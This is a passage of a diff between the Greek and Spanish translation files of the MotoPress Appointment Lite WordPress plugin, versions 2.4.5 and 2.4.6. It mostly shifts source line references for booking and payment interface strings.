assets\u002Fjs\u002Fgutenberg-blocks.js:12466\n msgid \"Comma-separated slugs or IDs of services that will be shown.\"\n msgstr \"Slugs ή ID χωρισμένα με κόμμα που θα εμφανιστούν.\"\n \n@@ -2258,7 +2248,7 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:126\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:67\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:81\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12474\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12475\n msgid \"Comma-separated slugs or IDs of employees that perform these services.\"\n msgstr \"Slugs ή ID υπαλλήλων που εκτελούν τις υπηρεσίες.\"\n \n@@ -2266,7 +2256,7 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:143\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:78\n #: includes\u002Fpost-types\u002FServicePostType.php:210\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12491\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12492\n msgid \"Tags\"\n msgstr \"Ετικέτες\"\n \n@@ -2365,7 +2355,7 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:105\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:75\n #: includes\u002Fshortcodes\u002FServiceCategoriesShortcode.php:74\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12142\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12143\n msgid \"Hide terms not assigned to any posts.\"\n msgstr \"Απόκρυψη όρων που δεν έχουν ανατεθεί σε καμία ανάρτηση.\"\n \n@@ -2623,10 +2613,10 @@\n #: includes\u002Femails\u002Ftags\u002Fbooking\u002FBookingLeftToPayTag.php:19\n #: templates\u002Femails\u002Fadmin\u002Fadmin-approved-booking-email.php:29\n #: templates\u002Femails\u002Fcustomer\u002Fcustomer-approved-payment-email.php:24\n-#: assets\u002Fjs\u002Fdivi-modules.js:6018\n-#: assets\u002Fjs\u002Felementor-widgets.js:6018\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6457\n-#: assets\u002Fjs\u002Fpublic.js:6018\n+#: assets\u002Fjs\u002Fdivi-modules.js:6019\n+#: assets\u002Fjs\u002Felementor-widgets.js:6019\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6458\n+#: assets\u002Fjs\u002Fpublic.js:6019\n msgid \"Left to pay\"\n msgstr \"\"\n \n@@ -2846,11 +2836,11 @@\n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-cart.php:48\n #: templates\u002Fshortcodes\u002Ftemplate-parts\u002Fbooking-details.php:51\n #: assets\u002Fjs\u002Fcalendar-page.js:38070\n-#: assets\u002Fjs\u002Fdivi-modules.js:2858\n-#: assets\u002Fjs\u002Fedit-post.js:4314\n-#: assets\u002Fjs\u002Felementor-widgets.js:2858\n+#: assets\u002Fjs\u002Fdivi-modules.js:2859\n+#: assets\u002Fjs\u002Fedit-post.js:4315\n+#: assets\u002Fjs\u002Felementor-widgets.js:2859\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:431\n-#: assets\u002Fjs\u002Fpublic.js:2858\n+#: assets\u002Fjs\u002Fpublic.js:2859\n #: assets\u002Fjs\u002Fwidgets-manage-page.js:300\n msgid \"Clients\"\n msgstr \"Πελάτες\"\n@@ -2912,13 +2902,13 @@\n #: includes\u002Ffields\u002Fcomplex\u002FTimetableField.php:313\n #: includes\u002Fstructures\u002FTimePeriod.php:294\n #: assets\u002Fjs\u002Fcalendar-page.js:38145\n-#: assets\u002Fjs\u002Fdivi-modules.js:3569\n+#: assets\u002Fjs\u002Fdivi-modules.js:3570\n #: assets\u002Fjs\u002Fedit-post.js:2101\n-#: assets\u002Fjs\u002Fedit-post.js:4846\n-#: assets\u002Fjs\u002Fedit-post.js:8800\n-#: assets\u002Fjs\u002Felementor-widgets.js:3569\n+#: assets\u002Fjs\u002Fedit-post.js:4847\n+#: assets\u002Fjs\u002Fedit-post.js:8801\n+#: assets\u002Fjs\u002Felementor-widgets.js:3570\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:1855\n-#: assets\u002Fjs\u002Fpublic.js:3569\n+#: assets\u002Fjs\u002Fpublic.js:3570\n #: assets\u002Fjs\u002Fwidgets-manage-page.js:1620\n msgid \"All day\"\n msgstr \"Όλη μέρα\"\n@@ -2927,12 +2917,12 @@\n #: includes\u002Ffields\u002Fcomplex\u002FDaysOffField.php:100\n #: templates\u002Fshortcodes\u002Fbooking\u002Fcart\u002Fadmin-cart-item.php:113\n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-cart.php:72\n-#: assets\u002Fjs\u002Fdivi-modules.js:5975\n+#: assets\u002Fjs\u002Fdivi-modules.js:5976\n #: assets\u002Fjs\u002Fedit-post.js:2051\n #: assets\u002Fjs\u002Fedit-post.js:2283\n-#: assets\u002Fjs\u002Felementor-widgets.js:5975\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6414\n-#: assets\u002Fjs\u002Fpublic.js:5975\n+#: assets\u002Fjs\u002Felementor-widgets.js:5976\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6415\n+#: assets\u002Fjs\u002Fpublic.js:5976\n msgid \"Remove\"\n msgstr \"Αφαίρεση\"\n \n@@ -3039,7 +3029,7 @@\n \n #. Translators: %s: Location name, like \"Barbershop\".\n #: includes\u002Ffields\u002Fcomplex\u002FTimetableField.php:241\n-#: assets\u002Fjs\u002Fedit-post.js:8815\n+#: assets\u002Fjs\u002Fedit-post.js:8816\n #, php-format,js-format\n msgctxt \"Working at %s\"\n msgid \"at %s\"\n@@ -3344,11 +3334,11 @@\n \n #: includes\u002Fhelpers\u002FPriceCalculationHelper.php:50\n #: includes\u002Fhelpers\u002FPriceCalculationHelper.php:122\n-#: assets\u002Fjs\u002Fdivi-modules.js:6056\n+#: assets\u002Fjs\u002Fdivi-modules.js:6057\n #: assets\u002Fjs\u002Fedit-post.js:1602\n-#: assets\u002Fjs\u002Felementor-widgets.js:6056\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6495\n-#: assets\u002Fjs\u002Fpublic.js:6056\n+#: assets\u002Fjs\u002Felementor-widgets.js:6057\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6496\n+#: assets\u002Fjs\u002Fpublic.js:6057\n msgctxt \"Zero price\"\n msgid \"Free\"\n msgstr \"Δωρεάν\"\n@@ -3433,33 +3423,33 @@\n msgid \"You can add a new log message here and press Update to save it\"\n msgstr \"\"\n \n-#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:49\n+#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:50\n #: includes\u002Fpost-types\u002FCouponPostType.php:60\n #: templates\u002Fshortcodes\u002Fbooking\u002Fsections\u002Fcoupon-section.php:14\n msgid \"Coupon\"\n msgstr \"\"\n \n-#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:55\n+#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:56\n msgid \"Reserved Services\"\n msgstr \"\"\n \n-#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:59\n+#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:60\n #: includes\u002Fmetaboxes\u002Fpayment\u002FPaymentDetailsMetabox.php:38\n msgid \"Payment Details\"\n msgstr \"Λεπτομέρειες Πληρωμής\"\n \n-#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:65\n+#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:66\n msgid \"Booking Price\"\n msgstr \"\"\n \n #. Translators: %d: Booking ID.\n-#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:141\n+#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:142\n #: includes\u002Frepositories\u002FBookingRepository.php:113\n #, php-format\n msgid \"Booking #%d\"\n msgstr \"Κράτηση #%d\"\n \n-#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:186\n+#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:187\n #: includes\u002Frest\u002Fcontrollers\u002Fmotopress\u002Fappointment\u002Fv1\u002FBookingsRestController.php:144\n #: includes\u002Frest\u002Fcontrollers\u002Fmotopress\u002Fappointment\u002Fv1\u002FBookingsRestController.php:295\n msgid \"Sorry, the selected time slot is already booked.\"\n@@ -4035,38 +4025,38 @@\n msgid \"Pay with your credit card via Stripe. Use the card number 4242424242424242 with CVC 123, a valid expiration date and random 5-digit ZIP-code to test a payment.\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:8384\n-#: assets\u002Fjs\u002Felementor-widgets.js:8384\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8823\n-#: assets\u002Fjs\u002Fpublic.js:8384\n+#: assets\u002Fjs\u002Fdivi-modules.js:8385\n+#: assets\u002Fjs\u002Felementor-widgets.js:8385\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8824\n+#: assets\u002Fjs\u002Fpublic.js:8385\n msgid \"Bancontact\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:8411\n-#: assets\u002Fjs\u002Felementor-widgets.js:8411\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8850\n-#: assets\u002Fjs\u002Fpublic.js:8411\n+#: assets\u002Fjs\u002Fdivi-modules.js:8412\n+#: assets\u002Fjs\u002Felementor-widgets.js:8412\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8851\n+#: assets\u002Fjs\u002Fpublic.js:8412\n msgid \"iDEAL\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:8449\n-#: assets\u002Fjs\u002Felementor-widgets.js:8449\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8888\n-#: assets\u002Fjs\u002Fpublic.js:8449\n+#: assets\u002Fjs\u002Fdivi-modules.js:8450\n+#: assets\u002Fjs\u002Felementor-widgets.js:8450\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8889\n+#: assets\u002Fjs\u002Fpublic.js:8450\n msgid \"Giropay\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:8349\n-#: assets\u002Fjs\u002Felementor-widgets.js:8349\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8788\n-#: assets\u002Fjs\u002Fpublic.js:8349\n+#: assets\u002Fjs\u002Fdivi-modules.js:8350\n+#: assets\u002Fjs\u002Felementor-widgets.js:8350\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8789\n+#: assets\u002Fjs\u002Fpublic.js:8350\n msgid \"SEPA Direct Debit\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:8476\n-#: assets\u002Fjs\u002Felementor-widgets.js:8476\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8915\n-#: assets\u002Fjs\u002Fpublic.js:8476\n+#: assets\u002Fjs\u002Fdivi-modules.js:8477\n+#: assets\u002Fjs\u002Felementor-widgets.js:8477\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8916\n+#: assets\u002Fjs\u002Fpublic.js:8477\n msgid \"SOFORT\"\n msgstr \"\"\n \n@@ -5513,10 +5503,10 @@\n msgstr \"\"\n \n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-booking.php:24\n-#: assets\u002Fjs\u002Fdivi-modules.js:5645\n-#: assets\u002Fjs\u002Felementor-widgets.js:5645\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6084\n-#: assets\u002Fjs\u002Fpublic.js:5645\n+#: assets\u002Fjs\u002Fdivi-modules.js:5646\n+#: assets\u002Fjs\u002Felementor-widgets.js:5646\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6085\n+#: assets\u002Fjs\u002Fpublic.js:5646\n msgid \"Making a reservation...\"\n msgstr \"\"\n \n@@ -6229,168 +6219,168 @@\n msgstr \"\"\n \n #: assets\u002Fjs\u002Fcustomers-page.js:497\n-#: assets\u002Fjs\u002Fdivi-modules.js:6650\n+#: assets\u002Fjs\u002Fdivi-modules.js:6651\n #: assets\u002Fjs\u002Fedit-post.js:1100\n-#: assets\u002Fjs\u002Felementor-widgets.js:6650\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:7089\n-#: assets\u002Fjs\u002Fpublic.js:6650\n+#: assets\u002Fjs\u002Felementor-widgets.js:6651\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:7090\n+#: assets\u002Fjs\u002Fpublic.js:6651\n #: assets\u002Fjs\u002Fsettings-page.js:685\n #: assets\u002Fjs\u002Fwidgets-manage-page.js:2911\n msgid \"Phone number is invalid.\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:5749\n-#: assets\u002Fjs\u002Fdivi-modules.js:7633\n-#: assets\u002Fjs\u002Felementor-widgets.js:5749\n-#: assets\u002Fjs\u002Felementor-widgets.js:7633\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6188\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8072\n-#: assets\u002Fjs\u002Fpublic.js:5749\n-#: assets\u002Fjs\u002Fpublic.js:7633\n+#: assets\u002Fjs\u002Fdivi-modules.js:5750\n+#: assets\u002Fjs\u002Fdivi-modules.js:7634\n+#: assets\u002Fjs\u002Felementor-widgets.js:5750\n+#: assets\u002Fjs\u002Felementor-widgets.js:7634\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6189\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8073\n+#: assets\u002Fjs\u002Fpublic.js:5750\n+#: assets\u002Fjs\u002Fpublic.js:7634\n msgid \"You will be redirected to a secure page to complete the payment.\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:5960\n-#: assets\u002Fjs\u002Felementor-widgets.js:5960\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6399\n-#: assets\u002Fjs\u002Fpublic.js:5960\n+#: assets\u002Fjs\u002Fdivi-modules.js:5961\n+#: assets\u002Fjs\u002Felementor-widgets.js:5961\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6400\n+#: assets\u002Fjs\u002Fpublic.js:5961\n msgid \"Subtotal\"\n msgstr \"\"\n \n #. Translators: %s: Coupon code.\n-#: assets\u002Fjs\u002Fdivi-modules.js:5970\n-#: assets\u002Fjs\u002Felementor-widgets.js:5970\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6409\n-#: assets\u002Fjs\u002Fpublic.js:5970\n+#: assets\u002Fjs\u002Fdivi-modules.js:5971\n+#: assets\u002Fjs\u002Felementor-widgets.js:5971\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6410\n+#: assets\u002Fjs\u002Fpublic.js:5971\n #, js-format\n msgid \"Coupon: %s\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:5982\n-#: assets\u002Fjs\u002Fdivi-modules.js:8135\n-#: assets\u002Fjs\u002Fdivi-modules.js:8650\n-#: assets\u002Fjs\u002Felementor-widgets.js:5982\n-#: assets\u002Fjs\u002Felementor-widgets.js:8135\n-#: assets\u002Fjs\u002Felementor-widgets.js:8650\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6421\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8574\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:9089\n-#: assets\u002Fjs\u002Fpublic.js:5982\n-#: assets\u002Fjs\u002Fpublic.js:8135\n-#: assets\u002Fjs\u002Fpublic.js:8650\n+#: assets\u002Fjs\u002Fdivi-modules.js:5983\n+#: assets\u002Fjs\u002Fdivi-modules.js:8136\n+#: assets\u002Fjs\u002Fdivi-modules.js:8651\n+#: assets\u002Fjs\u002Felementor-widgets.js:5983\n+#: assets\u002Fjs\u002Felementor-widgets.js:8136\n+#: assets\u002Fjs\u002Felementor-widgets.js:8651\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6422\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8575\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:9090\n+#: assets\u002Fjs\u002Fpublic.js:5983\n+#: assets\u002Fjs\u002Fpublic.js:8136\n+#: assets\u002Fjs\u002Fpublic.js:8651\n msgid \"Total\"\n msgstr \"Σύνολο\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:6005\n-#: assets\u002Fjs\u002Felementor-widgets.js:6005\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6444\n-#: assets\u002Fjs\u002Fpublic.js:6005\n+#: assets\u002Fjs\u002Fdivi-modules.js:6006\n+#: assets\u002Fjs\u002Felementor-widgets.js:6006\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6445\n+#: assets\u002Fjs\u002Fpublic.js:6006\n msgid \"Deposit\"\n msgstr \"Κατάθεση\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:6010\n-#: assets\u002Fjs\u002Felementor-widgets.js:6010\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6449\n-#: assets\u002Fjs\u002Fpublic.js:6010\n+#: assets\u002Fjs\u002Fdivi-modules.js:6011\n+#: assets\u002Fjs\u002Felementor-widgets.js:6011\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6450\n+#: assets\u002Fjs\u002Fpublic.js:6011\n msgid \"Paying now\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:6548\n-#: assets\u002Fjs\u002Felementor-widgets.js:6548\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6987\n-#: assets\u002Fjs\u002Fpublic.js:6548\n+#: assets\u002Fjs\u002Fdivi-modules.js:6549\n+#: assets\u002Fjs\u002Felementor-widgets.js:6549\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6988\n+#: assets\u002Fjs\u002Fpublic.js:6549\n msgid \"Coupon code is empty.\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:6557\n-#: assets\u002Fjs\u002Felementor-widgets.js:6557\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6996\n-#: assets\u002Fjs\u002Fpublic.js:6557\n+#: assets\u002Fjs\u002Fdivi-modules.js:6558\n+#: assets\u002Fjs\u002Felementor-widgets.js:6558\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6997\n+#: assets\u002Fjs\u002Fpublic.js:6558\n msgid \"Coupon code applied successfully.\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:6559\n-#: assets\u002Fjs\u002Felementor-widgets.js:6559\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6998\n-#: assets\u002Fjs\u002Fpublic.js:6559\n+#: assets\u002Fjs\u002Fdivi-modules.js:6560\n+#: assets\u002Fjs\u002Felementor-widgets.js:6560\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6999\n+#: assets\u002Fjs\u002Fpublic.js:6560\n msgid \"Sorry, your booking is not eligible for this coupon.\"\n msgstr \"\"\n \n #. Translators: %s: Business name.\n-#: assets\u002Fjs\u002Fdivi-modules.js:7563\n-#: assets\u002Fjs\u002Felementor-widgets.js:7563\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8002\n-#: assets\u002Fjs\u002Fpublic.js:7563\n+#: assets\u002Fjs\u002Fdivi-modules.js:7564\n+#: assets\u002Fjs\u002Felementor-widgets.js:7564\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8003\n+#: assets\u002Fjs\u002Fpublic.js:7564\n #, js-format\n msgid \"By providing your IBAN and confirming this payment, you authorise (A) %s and Stripe, our payment service provider, to send instructions to your bank to debit your account and (B) your bank to debit your account in accordance with those instructions. You are entitled to a refund from your bank under the terms and conditions of your agreement with your bank. A refund must be claimed within 8 weeks starting from the date on which your account was debited.\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:7584\n-#: assets\u002Fjs\u002Felementor-widgets.js:7584\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8023\n-#: assets\u002Fjs\u002Fpublic.js:7584\n+#: assets\u002Fjs\u002Fdivi-modules.js:7585\n+#: assets\u002Fjs\u002Felementor-widgets.js:7585\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8024\n+#: assets\u002Fjs\u002Fpublic.js:7585\n msgid \"Credit or debit card\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:7588\n-#: assets\u002Fjs\u002Felementor-widgets.js:7588\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8027\n-#: assets\u002Fjs\u002Fpublic.js:7588\n+#: assets\u002Fjs\u002Fdivi-modules.js:7589\n+#: assets\u002Fjs\u002Felementor-widgets.js:7589\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8028\n+#: assets\u002Fjs\u002Fpublic.js:7589\n msgid \"or\"\n msgstr \"ή\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:7603\n-#: assets\u002Fjs\u002Felementor-widgets.js:7603\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8042\n-#: assets\u002Fjs\u002Fpublic.js:7603\n+#: assets\u002Fjs\u002Fdivi-modules.js:7604\n+#: assets\u002Fjs\u002Felementor-widgets.js:7604\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8043\n+#: assets\u002Fjs\u002Fpublic.js:7604\n msgid \"Select iDEAL Bank\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:7618\n-#: assets\u002Fjs\u002Felementor-widgets.js:7618\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8057\n-#: assets\u002Fjs\u002Fpublic.js:7618\n+#: assets\u002Fjs\u002Fdivi-modules.js:7619\n+#: assets\u002Fjs\u002Felementor-widgets.js:7619\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8058\n+#: assets\u002Fjs\u002Fpublic.js:7619\n msgid \"IBAN\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:7882\n-#: assets\u002Fjs\u002Felementor-widgets.js:7882\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8321\n-#: assets\u002Fjs\u002Fpublic.js:7882\n+#: assets\u002Fjs\u002Fdivi-modules.js:7883\n+#: assets\u002Fjs\u002Felementor-widgets.js:7883\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8322\n+#: assets\u002Fjs\u002Fpublic.js:7883\n msgid \"Payment methods\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:8094\n-#: assets\u002Fjs\u002Felementor-widgets.js:8094\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8533\n-#: assets\u002Fjs\u002Fpublic.js:8094\n+#: assets\u002Fjs\u002Fdivi-modules.js:8095\n+#: assets\u002Fjs\u002Felementor-widgets.js:8095\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8534\n+#: assets\u002Fjs\u002Fpublic.js:8095\n msgid \"Card\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:10130\n-#: assets\u002Fjs\u002Fedit-post.js:7677\n-#: assets\u002Fjs\u002Felementor-widgets.js:10130\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:10569\n-#: assets\u002Fjs\u002Fpublic.js:10130\n+#: assets\u002Fjs\u002Fdivi-modules.js:10131\n+#: assets\u002Fjs\u002Fedit-post.js:7678\n+#: assets\u002Fjs\u002Felementor-widgets.js:10131\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:10570\n+#: assets\u002Fjs\u002Fpublic.js:10131\n msgid \"Sorry, but we were unable to allocate time slots for the date you selected.\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:10777\n-#: assets\u002Fjs\u002Felementor-widgets.js:10777\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11216\n-#: assets\u002Fjs\u002Fpublic.js:10777\n+#: assets\u002Fjs\u002Fdivi-modules.js:10778\n+#: assets\u002Fjs\u002Felementor-widgets.js:10778\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11217\n+#: assets\u002Fjs\u002Fpublic.js:10778\n msgid \"Sorry, there are no services, employees or locations to book.\"\n msgstr \"\"\n \n #. Translators: %s: Checkbox label.\n-#: assets\u002Fjs\u002Fedit-post.js:9005\n+#: assets\u002Fjs\u002Fedit-post.js:9006\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3220\n #: assets\u002Fjs\u002Fwidgets-manage-page.js:2976\n #, js-format\n msgid \"To enable this option, you need to check the '%s' box.\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fedit-post.js:9006\n+#: assets\u002Fjs\u002Fedit-post.js:9007\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3238\n #: assets\u002Fjs\u002Fwidgets-manage-page.js:2977\n msgid \"To enable booking for the specific service only, select the service below first, then uncheck the 'Service' box here.\"\n@@ -6400,19 +6390,19 @@\n msgid \"Colors\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11400\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11710\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11981\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12284\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12638\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12761\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12884\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13007\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13130\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13253\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13376\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13499\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13622\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11401\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11711\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11982\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12285\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12639\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12762\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12885\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13008\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13131\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13254\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13377\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13500\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13623\n msgid \"appointment\"\n msgstr \"\"\n \nBinary files \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Flanguages\u002Fmotopress-appointment-es_ES.mo and \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Flanguages\u002Fmotopress-appointment-es_ES.mo differ\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Flanguages\u002Fmotopress-appointment-es_ES.po \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Flanguages\u002Fmotopress-appointment-es_ES.po\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Flanguages\u002Fmotopress-appointment-es_ES.po\t2026-06-23 11:36:52.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Flanguages\u002Fmotopress-appointment-es_ES.po\t2026-06-30 15:16:08.000000000 +0000\n@@ -176,16 +176,6 @@\n msgid \"Help\"\n msgstr \"Ayuda\"\n \n-#: includes\u002Fadmin-pages\u002Fcustom\u002FSettingsPage.php:199\n-msgid \"Settings saved.\"\n-msgstr \"Configuración guardada.\"\n-\n-#: includes\u002Fadmin-pages\u002Fcustom\u002FSettingsPage.php:265\n-msgid \"Save Changes\"\n-msgstr \"Guardar cambios\"\n-\n-#: includes\u002Fadmin-pages\u002Fcustom\u002FSettingsPage.php:400\n-#: includes\u002Fadmin-pages\u002Fcustom\u002FSettingsPage.php:409\n #: includes\u002Felementor\u002Fwidgets\u002FAppointmentFormWidget.php:71\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeAdditionalInfoWidget.php:35\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeContactsWidget.php:35\n@@ -202,18 +192,18 @@\n #: includes\u002Fmetaboxes\u002Fnotification\u002FNotificationSettingsMetabox.php:26\n #: templates\u002Fprivate\u002Fpages\u002Fwizard.php:12\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3245\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11506\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11801\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12087\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12405\n-#: 